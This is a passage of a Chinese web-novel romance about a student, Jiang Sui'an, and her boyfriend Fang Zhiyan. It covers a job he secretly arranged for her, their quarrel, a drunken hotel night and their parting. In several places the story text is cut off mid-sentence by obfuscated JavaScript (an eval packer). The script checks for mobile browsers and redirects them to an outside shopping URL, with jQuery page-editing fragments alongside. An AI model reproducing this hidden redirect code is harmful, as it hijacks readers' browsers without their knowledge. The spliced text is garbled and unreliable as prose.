这就是姜岁安喜欢的感觉,这就是姜岁安一直以来想让自己感受的—— 爱和自由。 但我要爱,不要自由。 “现在,张开你的双手,眺望你的远方。”姜岁安“下令”,伸手从背后环住他的腰。 方知言听话地张开双手,以为她是在借自己的身体保持平衡,就像走钢丝要拿一根长长的杆子一样。 直到那首歌响起—— “You''rehere,there''snothingIfear.We''llstayforeverthisway……” 姜岁安唱歌的声音跟表演时候的不同,跟平时说话的时候也不同,但都好听。 姜·Jack? 方·Rose? 泰坦尼克号的故事结局并不好,方知言让她换一首。 姜岁安停止了歌唱,说:“对了,我在北城公园给咱俩认领了一棵树,春天就上牌了,下个学期开学就能来看了。名字我也已经擅自取好了,叫做‘舟舟’,船的那个‘舟’。” 方知言歪头:“为什么?” “因为我们是一条船上的人啊。‘船’,几口舟,你、我,两口,所以叫‘舟舟 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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没拿到的时候,觉得自己与她有无数种可能,她想去哪儿,自己可以成为她的一条尾巴,黏着、跟着、随着。 但尾巴却提前被困在了原地,又该怎么让她在自己方寸之间流转? 盯着姜岁安手写的“骑士自救计划”,他起初觉得她很可爱,不知不觉间,一股令人心悸的感觉从心口开始疯长,枝枝蔓蔓缠向四肢,每根枝条都在往反方向拧,缠得他透不过气。 在一起到底不是是正确的决定? 他其实一直都不大清楚。 就在这时,他的手机又亮起来,是方知语打来了电话。 “姐。” “你上次让我托关系帮你弄了一个鼎报社的位置,我已经帮你搞定了,人家现在在要个人信息……你可别告诉我是你哦。” 方知言正要开口,心依旧被那张牙舞爪的木枝条牵住。 低头一看,手腕上的红绳花不知道什么时候掉在了地上,他蹲下身子准备捡,可因为着急,怎么也捡不起来。 索性蹲着听电话。 她是不想看人眼色的人、是上层最讨厌的那种人,所以只要下定决心说一次她的名字,她就能少走很多弯路。 但是…… 她又是一个那么要强的人。 “记得让那个人写一份简历,写好一点……” 可万一她在异国他乡孤立无援,最后拼得鱼死网破、头破血流呢? 方知言,姜岁安比你聪明多了…… “我这边只是给你疏通关系,至于能爬多高,还得看有没有那个能力,配不配那个位置……” 陆哥呢? 难道陆哥就笨吗? “喂……” 姜岁安、姜岁安、姜岁安、姜岁安、姜岁安…… 日日夜夜都在念叨的名字此刻怎么说不出口了? “喂?你在听我说话吗?”方知语催促。 “姜岁安。” “嗯?” “她叫姜岁安。姐,我向你和他们保证,她有能力胜任的。” 方知语笑了出声,“姜岁安”,又是这个名字。她夸他是个伯乐,还学会了相马。 方知言不爽皱眉,没等他解释出口,方知语就已经挂了电话。 34. 来往和这那(三) 大四课程不多,结课也基本都是写论文,姜岁安非但不紧张,反倒还庆幸着不用熬夜备考。 “姜岁安,今天抽时间来一下院楼。”刚上完课,姜岁安正一边收拾电脑,一边思考到底是吃麻辣烫还是鸡公煲,就被台上的老教授喊住。 她觉得疑惑,想了想应该是为了某个课题,于是吃完饭就前去赴约。 老教授开门见山:“我在鼎报的老同学说,有个我们院的学生要到那边工作,我打听了一下,他说叫‘姜岁安’。你准备去他们那里工作了?” 姜岁安丈二和尚摸不着头脑,疑惑道:“嗯?老师,你是不是搞错了,我没投过鼎报的简历。” “没投过吗?那可能是哪个老师给你写了推荐信吧。”老教授推了推眼镜,拧开玻璃杯,抿了一口茶,朝底下的垃圾桶啐了口茶叶渣。 姜岁安说自己也从来没有让哪个老师写过推荐信。 “那我就不知道了,可能是从哪儿发现了你这颗沧海遗珠吧。他问线下能不能约你吃个饭,顺便谈谈入职的事情。” 姜岁安右眼皮跳了跳,心跳加速,警觉起来——潜规则? 中彩票轮不到自己,潜规则倒是遇到了? “沧海遗珠”?褒奖不错。 “我感觉奇怪,领导怎么还要找你个新兵蛋子吃饭,但怎么说也是一个机会,你总得去试一试,”他想起什么似的,从抽屉里翻出一张名片,上面烫了“王福生”三个字和一串座机号码,继续道,“好好表现,你出去代表的可是学院和我的脸啊,别在我同学面前给我丢人哈。” 她云里雾里地接过这张名片,推开办公室的门,就发现舍敌一脸神气地站在门外。 姜岁安没睡午觉,打了个哈欠,在狭窄的门前与她擦肩而过。 姜岁安不相信运气。 在同龄人水浒卡都收集得差不多的时候,她吃干脆面只抽出过一次“再来一包”,而这张“再来一包”至今都还夹在自己那本笔记里;小时候有一段时间流行抽《守护甜心》的卡牌,她怒花一半压岁钱,拆了一整夜都没抽到边里唯世;数学多选题更不必说,涉及到选择的事情只好交给天意,而不是直觉…… 凡此种种可说的很多,所以不相信运气。 在等鸡公煲叫号的时候,她跟方知言煲了个短暂的电话粥:“方知言,你相信天上掉馅饼吗?”随后,她把这魔幻的事情告诉了他。 “我……相信。鼎报似乎一直都会自己挖记者和编辑,可能是看过你写的文章,觉得你有潜力吧。” 她说她是不信的,并把过去的倒霉事件一一列举,最后让方知言大喊三声“呸呸呸”以驱散霉运,疑惑他为什么会相信。 方知言说,要留美好的盼头给自己,凡事都靠努力,人会被逼疯的。 “天啊,这是你的台词吗,方知言先生,你拿错剧本了吧。” “如果他们真是来挖你的,你会高兴吗?” “当然会高兴啦,有人认可我,而且还是鼎报这样的大社,怎么会不高兴呢?何况纽大的录取还没下来,多给自己找一条路也是好的。总之,不管是狐狸还是聊斋,我都得自己去探探。” 姜岁安这样说着,觉得方知言有点反常,可能是被自己影响了,所以不甚在意。听见食堂鸡公煲窗口叫号,她挂了电话,兴致勃勃地飞到窗口前,却被告知腐竹卖光了,阿姨给换了同价位的豆皮。 最不喜欢豆皮…… 回到宿舍的姜岁安伸手在手包里翻着钥匙,突然听见里面的议论声出现了自己的名字。 她疑惑,停下了翻包的手,将耳朵趴在门上—— “我说为什么她每天活得那么爽,原来是靠男人。我说怎么老师对姜岁安那么好,原来呀,背后有一腿,她还整天自诩清高,真是表面一套背后一套。” “咱也不能听风就是雨吧,岁安回来问问她就好了,在背后嚼她的舌根不好吧。而且岁安有男朋友吧……我之前还见过她男朋友送她回宿舍。” “我都亲耳听见老登说了‘不要丢他的脸’,还不明显吗?” “老师都会这么说的吧……” “你们就听她等下回来会不会嘚瑟——” 姜岁安不知什么时候开了门,静静地站在那里,与她对上眼。 舍敌立刻换上假笑,磕磕绊绊道:“岁……岁安回来了,干嘛站在那里?” 姜岁安径直路过她,拉开柜子,把四年来写完的所有笔记本和专业书一本一本砸在她身上:“新闻学要是只靠一张嘴造谣的话,你应该早就发顶刊了。” 扔完之后,姜岁安从桌上抽走一张纸巾,不慌不忙地擦了擦沾上灰的手。 “你什么意思?”站在姜岁安面前的女孩笑比哭难看。 一时间,宿舍的气氛凝固而尴尬,另外两个舍友在床上对视,不敢呼吸。 姜岁安让她们拉上床帘,最好再戴好耳机,别被自己影响心情。 “唰——” “唰——” 姜岁安吸了一口气,似乎又嫌弃有对方的空气太脏,于是又呼了出来,快嘴道:“我备考托福雅思的时候,你在为四六级裸考高分过而沾沾自喜;我努力推进小组作业希望大家平分分数的时候都能高些,你拿百度贴吧上的破东西糊弄我;我每个假期都在实习和调研,新闻网上面的马屁文章也都是第一作者……怎么,还需要我一一列举吗? “你以为所有事情都要当着你的面完成吗?你见到的我是真正的我吗?你除了知道我叫姜岁安、汐城人、从汐城一中考上来之外,还知道什么? “哦,还知道她们两个都是有教养的人,所以懒得跟你撕破脸懒得和你计较?” 床上两人听着这些话脸上也是一阵红一阵青,一阵白一阵紫,但自知身为舍友,即使羡慕妒忌,也还要保持最起码的边界感。 姜岁安这人好是好,大事小事有求于她也都拔刀相助,侠肝义胆一身江湖气,就有时候说话真不讨喜。 她们只能左耳进右耳出,大气不敢喘。 见面前的舍敌只敢在人后猜忌自己,到了面对面就一句话也不敢质疑,结结巴巴半天说不出一个字,她也没有继续说下去的意思了。 姜岁安不再输出,麻利地收拾了衣服、书本和电脑就离开宿舍在外面开了房。 躺在酒店的床上,看着天花板,姜岁安气不打一出来。 势必要拿下这个鼎报! 得亏期末是交论文,在酒店住了一个星期上完最后一周课的姜岁安提前买票回了汐城,她也如约见到了鼎报的主编王福生。他穿一件深灰色衬衫,袖口卷起一道边,手腕干净。细框眼镜后,眼尾漾着浅浅的笑纹,看人时微微颔首,一副君子样貌。 坐下的一瞬间,面前的王主编就起身给自己倒了茶,介绍起面前的甜点。 姜岁安受宠若惊,手足无措地站起身来,说:“主编您这这这……太客气了。” 敢情大报社就是这么有格局…… “姜岁安……同学,是吧?” “对。”姜岁安闻声点点头。 “以表敬重,我还是该叫您姜小姐吧。” 姜岁安打了个激灵,尴尬地应下来。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17373799|198269||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 王主编问:“姜小姐,你认为,一篇好的新闻稿件应该具备什么样的特质?” 姜岁安说,是真实性、客观性、时效性、有益性和可读性。 “是……还有很重要的一点——关系。汐城有名的投资企业林林总总也不少,唯有方、程二姓双站鳌头,我们报社最困难的时候也是方老爷扶持上来的,感情很深。我知道你也在一中读书,还跟他们家小子是一届……”他意味深长地上下扫视着姜岁安,通过经验来断定这孩子究竟是什么来头。 姜岁安没有说话。 “他应该会带你去参加老爷子大寿的。他们这种人,只要捎一句话,鼎社永远都为你保留一个好位置。” “我们不是在谈新闻吗,王主编?跟方家如何,貌似没什么关系。”姜岁安蹙眉。 “自然是有关系的。” “我不明白您什么意思。” “姜小姐,话不必这么说。人还是要有些自知之明的,山鸡飞到枝头也当不了凤凰,揣着明白装糊涂的作派并不高明,你我都坦诚一些,事半功倍。” “我现在只想厘清楚一件事——我从来没有给你们鼎报投过简历,来这里也是您托我老师转达的意思。我们无怨无仇,您没必要煞费苦心做局来羞辱我。” 王主编料她真一无所知,向她摊了牌,补充道:“她方知语现在接手了公司,虽然话事权还轮不到她,但一般也不管这些琐事,想来应该是小言的意思。”说罢,他在桌上摆了三张照片,是两人玩滑板时的照片。 “若真不知情,我也不会为难你,但我已经答应了他们,鼎报自然会为你留出一个位置。你不用着急回答我,回去好好想想。我知道你申了纽大,但是现在的形势并不乐观,有点小钱但没有关系的孩子是最危险的,他希望你能留在国内。” 他以为姜岁安在明白来龙去脉后会悠悠自得,然后从方知言嘴里套些话来,两人在寿宴上便能投其所好跟方老爷子搞好关系。 他希望她能留在国内,出于什么目的? 到底也不是对她说的,而是对方知言说的。 只见姜岁安虔诚地用手指摸了摸那叠纸,抿着嘴唇思考。半晌,她伸手将它撕成四瓣,然后整整齐齐地叠在一起递回给王主编,说了一句“谢谢”,起身离开。 不识好歹的犟丫头。 他想。 走出报社,姜岁安像无头苍蝇一样在傍晚的汐城大道上踱步。夕阳压着大道尽头,把她的影子拖得细长。她双手插在兜里,偶尔一脚踢开当道的小石子,随后站定,看它们滚远。 大道下是愿海,愿海平静的面容上闪着熠熠阳光。 为什么连鼎报这样量级的杂志社也是这副“承风希旨,曲意逢迎”的嘴脸? 为什么方知言要突然给自己弄个工作还一声不吭? 如果连方知言都会干这样的小动作,那他们家是不是也花钱控制过舆论、甚至消过灾?他们到底做没做过腌臜事?做过多少腌臜事?做过多大的腌臜事? …… 姜岁安不敢想,掏出手机给方知言打电话。 “您好,您拨打的电话已关机……” 机械的女声循环了很多遍,姜岁安不厌其烦地一遍又一遍拨通着这个号码,似乎只要努力就能换来回声。站在城轨的站台边上,面前呼啸而过的列车走了一趟又一趟,下晚班的人们骂她挡路,可她并没有与他们抢一个在车上站立的位置。 星星不再,大概是明天要下雨。 汐城的秋冬是湿冷的。 摸摸脸,也是湿冷的。 35. 来往和这那(四) 飞机上的方知言莫名感到心慌,连喝了三杯冰水。 S大放假比较晚,提前回来是为了给爷爷过八十大寿。 方知言不知道自己做的这些事到底是不是正确的。 至少他能很清楚地感应到,从南桃乡回来之后,姜岁安的笑不论多张扬,都抿着一丝淡淡的忧伤。 他起初以为,是因为姜岁安的长相清俊文秀,所以才给了自己“她在伤心、在害怕”的错觉,因而宁愿相信她一直很开心,也不愿相信她一瞬的悲伤。 可察言观色久了,人也会变得敏感,时常置身事外,只谈利益最大化。在谈商的饭桌上,父亲只用给姐姐一个难以察觉的眼神,他们就会打配合一般左右开弓。他在场一般都沉默作伴,充其量是父亲为了表示敬重而必须带来的吉祥物,渐渐地,也便学会了读那群趋利避害的商人的心思,更何况是爱恨都写在脸上的姜岁安呢? 有些人看着像是洁白待宰的鱼肉,其实内心的刺又粗又多,他们的躯体不会轻易散架,甚至在被断筋削肉后也能保证白骨完整。 有些人看着像是披坚执锐的战神,其实是因为心事繁多,柔情似水,才需要具象的铠甲庇护。 可她说她会高兴的。 所以……应该不算错吧。 盯着屏幕右上角小小的飞机标志,他叹了口气,竟直接多此一举地把手机关机了。 坐城轨往家的反方向走的姜岁安来到了酒吧。 其实这是她第一次来酒吧。 这里没有想象中那么混乱,灯光很暗,人们都坐在自己的位置上,要么吃着零食喝酒聊天、要么举着手机努力出片、要么玩着桌游。 驻唱的歌手是个外国人,嗓音浑厚,R&B转音丝滑流畅。 “小姐,您点的酒。” “谢谢。” 她先前以为,自己在确定感情之后的不安感来自于不习惯,不习惯身边多了一个需要考虑的人,只要熟悉了他的一切之后,这种感觉就会消散。最后如同所有美好的童话故事一样,王子和公主……王子和骑士幸福地生活在一起。 只要不安消散,无论离得多远,多远都能回到他的心间。 可现在,这份不安非但没有消失,反而提醒着她一个更大的隐患…… 灵州?为什么偏偏是在灵州互诉了衷肠?为什么不是汐城或者北城这样更加熟悉,更加承载着我们记忆的地方? 灵州,陌生的地方。 姜岁安,方知言,熟悉的两个人,熟悉的自己和他。 一条船,两颗心。 他无法不向自己靠近,自己无法不为他动心。 于是两个人卸下了所有的伪装和防御,忽略了所有的风险,才有了现在这样的局面。 她无法理解方知言,这个理解不是不理解他的动机和初衷,而是不理解他为什么不理解自己。 一杯下肚,姜岁安觉得不够过瘾,于是又点了好几杯。 最后一头扎在桌上,把周围人吓了一跳。 酣睡中,有人摇了摇她的身体,随后那个人发出了仙乐般的声音:“送你回家?” 姜岁安沉默,打了个长长的嗝,随后问:“方知言,你怎么来了?” 方知言没有解释,摸摸她的脑袋,坐在她身边,轻轻拍着她的背。 “方知言,你是不是特瞧不起我?” 她感觉到自己背上如同音符跳跃的触感停了下来,撒娇道:“继续弹嘛。” 方知言愣了愣,于是又轻轻拍了起来。 他把姜岁安一只胳膊抬起来,姜岁安起身顺势直直趴在他身上,像只小狗一样乱嗅:“好香好香。” “回家吧。” “不要。” 姜岁安在他心里一直是理性和感性一半一半,所谓“理性的浪漫”——她骄傲,但不娇蛮。这时她正无理取闹地撒着娇,让他一时间没反应过来,整个人僵在原地。 她叽里咕噜地说:“我跟我爸妈说,我去找夏静雯了嘿嘿嘿……他们还不知道夏静雯入伍去了呢,要是知道了肯定要替人家爸爸妈妈瞎操心……我都这么大个人了,走不丢的,他们会放心的……方知言,你不要丢掉我,但是放开我好不好……” 他问她有没有带身份证,姜岁安如临大敌地推开他,摇摇晃晃地伸手指着方知言:“你要跟我开房吗?你个流氓!” 她这一声惹来许多双眼睛,那些人的眼睛紧张地盯在方知言身上,一时连酒都顾不上喝了。待姜岁安又张开双手横冲直撞地抱住他,嘴里嚷嚷着“最喜欢你了”时,大家才反应过来——原来是小情侣之间的打情骂俏。 方知言拖着姜岁安到了酒店,刚刷开房门,姜岁安也不知道是从哪里学的坏习惯,直接开始扯他的衣服。 真正流氓的另有其人。 他的大衣被她像剥洋葱一样,姜岁安略过那条摇摇欲坠的领带,手指从衬衫扣与扣中间穿进去,一边感受着他的身体,一边解他的扣子。两人推推搡搡到了床前,姜岁安被绊倒在床,方知言在她迷糊的时候用一只手抓住她两只作乱的手,举过头顶。 姜岁安难受地挣扎弓腰,方知言腹部一酸。 怀里的姜岁安突然不动了,忿忿含情地望着他。 那双眼睛,像一盏在黑色雨帘下的、未熄灭的琉璃灯,而帘外下着江南的雨,明亮的灯也便雾沉沉朦胧了下去。她双眼红红,眼泪被困在眼眶里,长长的睫毛扑闪,怎么也流不出来,鼻子和嘴唇并用,沉沉喘着气。 灯在头顶,但在门口拉扯的过程中就被姜岁安一巴掌按灭了。他的脸隐隐躲在暗处,微微偏过脸,让床头的光亮代替姜岁安的巴掌打在脸上,好让自己冷静下来。他另一只手的手指落在她枕边,离她的发丝很近,似乎碰到就能知足。而姜岁安此时很安静,于是他问:“你现在是谁?” “头上戴着金丝八宝攒珠髻,绾着朝阳五凤挂珠钗,项上戴着赤金盘螭璎珞圈……人见人爱花见花开,姜岁安是也。” 看来是不清醒的。 方知言想,随后慢慢松了手。 “方知言,你有本事和我睡吗,”她眼前只有模糊的虚影,方知言离自己很近,她能闻到他身上淡淡的香味,于是用解放的手拍拍他涨红的脸,又扯了扯他的领带,迷乱地扑哧一声笑了出来,“你也是做过脏事的人啦,这点事不敢吗?” 方知言撑在床上的手用力,青筋突出,哽咽地、压抑住颤抖地说:“你喝醉了,说的话都没有效力……再说了,你会恨我的。” “我不会的……”她说。 姜岁安眼前朦胧,觉得世界在下雨,温温和和的小雨,淅淅沥沥地砸在她的脸上。伸出舌头舔舔,雨珠的味道是咸咸的。 “我们都会后悔的。”雨的那片云低语。 “我们不会的……我觉得这是一件很……嗝……有趣而且幸福的事……” 随后雨停了,一团裸色的雾离开视线,面前明亮起来。 方知言下定决心一般直起腰脱了上衣,随之贴上她的身体,没想到姜岁安正巧一个酒嗝卡在胃里上不去下不来,被他一米八几的身子一压,将酒气连着胃里的东西全一股脑吐了出来。 方知言感受到身上一阵黏腻,几乎崩溃,一时也不知道脱了衣服到底是福是祸了。 姜岁安吐了一床,整个房间里弥漫着酸臭味,她本人似乎也被恶心到了,索性下了床蹲在衣柜里。方知言拿毛巾随便将身子上的呕吐物给擦掉,三顾茅庐打开衣柜去请她出来换房间,姜岁安在衣柜门“打开又关上”的还不忘说:“哇——刘备老师你身材很好哦,不对,应该是关羽老师,因为你是红脸……蓝脸的多尔顿盗御马,红脸的关公战长沙……” 最后乃是接上了戏词,她才肯老实出来。 方知言披上酒店的浴袍,打电话给前台换了一间房。 领班赶来服务的时候,他特意让领班给自己拿了两套舒服点的睡衣,随后待姜岁安把胃里的东西吐干净以后,帮她洗了个头,顺便擦拭身体。 姜岁安在他的捣鼓下吹完头之后就躺在床上四仰八叉呼呼睡着了,留下方知言一个人在大冬天洗冷水澡。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17377765|198269||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 从浴室出来后的方知言坐在床头柜上,食指卷起她的长发,撩到唇间轻轻一吻。 “啪。” 灯关上了。 爱也好,恨也罢,一觉醒来,只要还记得他这个人就行。 方知言无奈想。 姜岁安醒来的时候已经是第二天下午了,看着坐在沙发上一声不吭的方知言,两人相视,沉默很久。 她不知道昨天晚上自己说了多少,说了什么该说的,说了什么不该说的,只知道方知言的神色愧赧,没有早安和拥抱。脑袋空空,胃也空空,衣服是酒店的,自己的衣服被叠放整齐堆在床头。 他下意识看了眼方知言。 方知言脸红,撒谎道:“你放心,是酒店的女性工作人员帮你换的衣服。” “哦,好。” 她伸手就要脱掉酒店的睡衣,挑眉轻轻问:“你不转过去吗?” 方知言闻声,低下头从旁边的桌子上随手捞了一本杂志,刚一打开,扑面而来内页上印满了内衣模特,他只好尴尬地合上,然后不动声色地把杂志重新放回桌上。 随后又陷入了新一轮的沉默。 姜岁安起身刷牙,看到梳妆台上接好的水和挤好的牙膏,一下子又软下心来,咬咬牙忍住了说话的冲动,漱口、刷牙。 方知言让酒店后厨给她熬了粥,姜岁安一口接一口,像察觉不到烫一样地喝完了。 他说,如果姜岁安还难受的话,可以在这里继续休息,他订了两个晚上。 “这里很贵吧。” “……” 她穿好衣服,闻着衣服上不属于自己天竺葵香味洗衣液的味道,光着脚径直走向窗帘。 “唰——” 姜岁安站在巨大的落地窗前,看着汐城的街景,心里还在念叨着——这应该很贵吧。 明明才五六点钟,窗外的蓝还没褪尽,就已经黑了。 窗玻璃上凝着她自己的影子,因为天黑,所以看得更清,就越觉得自己疲惫困倦。姜岁安低下头,繁荣的街道亮堂,人影憧憧,仿佛隔水看鱼。 有两个人在路灯下站了站,又走开了,影子拖得很长,被车灯碾过去,又活过来。 姜岁安和方知言并排走着,却不像以往一般谈笑风生。 街角的馄饨摊在最繁荣的街道上胆大包天地支起来,是“徐哥汤粉”,热气一团团地扑进夜色里,他们从旁边绕过,谁也没说话,只听见自己的脚步声,和另一个人的,叠在一起。 姜岁安说,她想出去走走。 于是便有了现在。 “我现在很乱。” “岁安,对不起。” “你觉得……我只应该在汐城待着,一辈子在你的掌心里,捂着、捧着,成为一摔就碎的明珠,还会为此得意洋洋?” “岁安,对不起。” “你知道吗?被人误会的感觉很不好受,我在学校里被宿舍的同学议论,本想着靠实力拿个offer打她的脸,却被主编认定是关系户。若是我真去了鼎报,又会被多少张嘴说呢? “方知言,你清楚事实就是解释不清的,一旦‘姜岁安是资本推荐的乖孩子’这个事实成立了,我不论做得多好,也无能为力去证明清白了。” 姜岁安踢了一脚滚到自己面前的易拉罐,扔垃圾的小孩以为她在跟自己玩,于是又踢了回来。姜岁安恼火地随意一脚把易拉罐踢飞,易拉罐在空中划了一条弧线,精准地栽进可回收垃圾桶里。 “姐姐牛掰克拉斯!” 姜岁安只是轻轻睨了他一眼。 她本来想试着用平静的口吻诉说自己的矛盾,可心里那股火慢慢燃烧:“你,你难道不知道自己做的事不光彩、不道德吗?” “岁安,对不起。” “……” “姜岁安,对不起。” “……” “如果你还是决定要出国,我也万分支持。我可以不去诚天,也可以不去港城大,我只是……希望陪在你身边,希望能为了你——” “闭嘴!” 36. 来往和这那(五) “你不要说是为了‘我’!我这人就特讨厌有人为我做决定,更讨厌有人会为了我做决定!方知言,你扪心自问,现在这样是你想要的吗,你是真心为了自己所以才选择要跟我一起的吗? “大四,我们今年大四了,马上要毕业了……你比我小一岁,二十,拿到了诚天的offer,还能保留到你在港城大读完研究生,随时都能正式入职,多少人恨都恨死你了……你凭什么放弃这一切?凭什么说是为了‘我’放弃了这一切? “我承认,我没申请哥大的本事,申请纽大都是抱着‘背水一战’心态去的。我就算出国镀了金,也不一定能轻松得到国内顶尖刊物的录用,至少比不过你轻描淡写的一句话。 “但是,撑死还是饿死,我想自己选。 “我不想背上走后门和改变你的罪名,也请你多为自己考虑。” 她其实一直很反感方知言说“对不起”,因为这句话没有任何作用。 她一边说,一边无奈苦笑,有时长发粘在嘴上,伸手拂掉,又粘上去,惹得自己蹙眉急眼。 “你……爱我吗?” “就是因为我爱你,所以我不想让你处处为我妥协!妥协!妥协,这两个字很难理解吗?”姜岁安说得太用力,携着尘埃的冷空气灌进气管,她咳了好几声。 “我为人妥协十几年了,再多当几年这样的人,又有什么关系呢?我是不被寄予厚望的人,能在你这里找到唯一的希望和归属,哪怕这样,都不可以吗?” 姜岁安怔怔地盯着他,陷进了他破罐子破摔之后的冷静里。 这就是方知言最可怕的地方——用他那一双从不含恨的脉脉含情的眼睛,见她所有的大笑、哭喊、疯狂,最后轻轻地问、飘飘地答,仿佛面对的不是人,而是一阵风。到底是她姜岁安可有可无,还是他觉得他方知言可有可无? 哪个都不是她姜岁安想要的。 “你,”姜岁安欲言又止,有些话很想说出口,卡在嘴边被咽了回去,于是说,“我不需要,你的施舍对我来说,没有意义,你也不要把我说得神乎其神……” 方知言自认从未低眼瞧她,委屈至极,沉在心里的一股气在姜岁安的喷薄而出:“你莽撞、你自大、你武断不讲后果!” 姜岁安深吸一口气,脱口而出:“你自私、你狭隘、你太把自己当回事!你现在应该跟你父亲的样子如出一辙吧,方知言,己所不欲勿施于人,你不比我高贵。” 可话出口的瞬间,她就后悔了。 方知言说:“你凭什么觉得自己能够独自面对一切未知?又凭什么觉得自己能给自己负责?是,你是想做什么就做什么,想说什么就说什么,但你真的有那么厉害吗姜岁安。你认不清自己、认不清现实,也看不见别人。 “你狂妄到以为自己一个人就可以扛下所有,狂妄到以为只要自己够勇敢,就不会受伤……但你不是唯一在意自己的人……” 姜岁安竟然反驳不了。 他也不说话了,并且忽然有些明白姜岁安了—— 她是个多么骄傲的人,因为自傲,所以……自卑。 姜岁安明媚如阳…… 姜岁安明媚如阳…… 姜岁安明媚如阳——这一武断是自己对她最大的伤害,他似乎已经不允许她脆弱和退缩,所以这是伤害。 她说自己依恋汐城。 汐城,怎样的一座城市?半生雨雪,半生晴天。 她红着眼,紧紧盯着他,嘴唇颤抖。 姜岁安深深地吸了口气,吐出来,又吸,随后继续往前走。 街心花园有一架钢琴,等待着有缘人路过。 两个人静静走着,剑拔弩张之后,面红耳赤,喘着粗气,只字不吭。 稀薄的空气里泛着银光,原来是未落的眼泪和月亮。 他们默契地不讲分手,因为没有一个人有说出这个沉重字眼的勇气,就连被方知言定义为“莽撞”的人,也未曾动过说过这两个字的心。 可结果,他们却心知肚明。 姜岁安摇摇晃晃地往前走着,心神不宁——消化一段争吵,真是不容易的事情。立场不同,各圆其说,谁都过分站在对方的角度上思考,于是显得两个人都自私过了头。 好吧,突然没有那么气了。 她走到钢琴旁,掀开盖子,鬼使神差地用食指戳了几个琴键,随后自觉挪开身子,背对着钢琴,面对着月亮。 方知言自顾自坐在那里,把脚放在踏板前。 他前几个音一起,她就知道是哪首曲子。 当时听这首曲,她的目光穿越千百号人落在他身上,体育馆的灯是暗的,唯有一束暖暖的光打在他身上,那灯下的飞絮随着他身体的起伏又落下…… 雪碎落进姜岁安眸里,熏了一滴眼泪,砸在手臂上,烫得人又痛又痒。 间奏飘进A调,一声声响都在拷问鞭笞她的心。 方知言的手在进入副歌前顿了许久,重重落下了。滴滴泪砸在琴键上,染湿了手指,亦如那似铁骑万千的军惜别故里赴死而去。 姜岁安侧身瞥他,这是她第一次见他落泪。 她居然觉得欣慰,以一种持剑御马、居高临下的姿态,照见他的慌张,让他有了情绪。姜岁安甚至希望方知言能骂骂自己。 从很远的地方飘来的风声,带着草原上青草的气息。方知言的影子靠在阴山之侧,压在天际线上,厚重而苍凉。 他的眼睛给晴川下了一场雨。 原野上的风突然大了起来,达达的马蹄声浓了又被泪水兑淡,似乎穹庐下,只剩下他一个人孤独地遥望了。方知言突然意识到,姜岁安此人,如同穿过指缝的一阵不带香的风,临幸过他这片贫瘠,为他带去诗意或格桑,可终会走。 心随天地走意被牛羊牵 大漠的孤烟拥抱落日圆 …… 情缘你在哪姑娘问着天 情缘你在哪走马敕勒川 “岁安,可以拥抱吗。” 她在灯下,听见他的话,凝视他的影子——方知言身后的影子越来越短。他站定在她面前,挨得很近。方知言红红的眼眶发酸,姜岁安咬着牙不让自己露怯。 她知道自己爱他,更知道他爱自己。 但说要一直在一起,终究是不理智的孩子脾气,让人失去底气。 姜岁安想—— 我爱你,这话分了主谓宾。 但我十分清楚,方知言从来都不是我的,我也不会是他的。 我们属于我们自己,我们深爱彼此,仅此而已。 原来这就是自己在恋爱中时常心慌的原因。 她下定了决心,毅然转身,方知言突然从背后拉住她的手,扯得手痛,他低头,唇心落在她的骨节上。 她很欣然地接受了他的失控,允许他的放纵,因为这是第一次,或许也是……最后一次。 可不满足的那个人是自己。 她踮脚,一只手捏住方知言的下颌,一只手搂着他的脖子,将唇瓣紧紧贴在他的嘴唇上,借着方知言府邸失守的瞬间,敲开他的牙齿,本能地学着电视里男男女女动情深吻醉生梦死的样子,把自己的舌尖当成探花游弋的鱼。 温润潮湿的池塘,让人心甘情愿把自己的身体浸湿,只从舌尖探取一丝冰凉的温度。 方知言被一股有名的火包裹着,右手将她掐着自己的手往月亮的方向拽,左手托着她的后脑勺,她如温暖潮汐一样的胸膛便紧紧贴在自己身上。 姜岁安没有推开他。 岁安浑身酥麻,方知言的舌尖有凉凉的薄荷味,甜滋滋的。 夏静雯说,接吻是要这样子的,这样才叫确定关系,所以,方知言,就当你为我倾倒称臣过吧,若是缘分未尽,就再分高下。 唇齿分离的那一瞬,她舔了舔嘴唇,把一段月光下淋漓的牵连斩断 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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下学期一开学,姜岁安在整理书稿的时候,接到了无条件录取的offer。这其实是再好不过的结局,因为只有离开这座城市,才能让这场短暂的爱恋变成最美的一则诗曲。 不纠缠。 心里却揪了起来—— 说是让方知言好好珍惜红绳花,小心溺了灵州的水,现在看来,究竟谁会被困在灵州的记忆里,还真不好说。 她自嘲地叹了口气,把垂在眼前的长发拂至耳后。 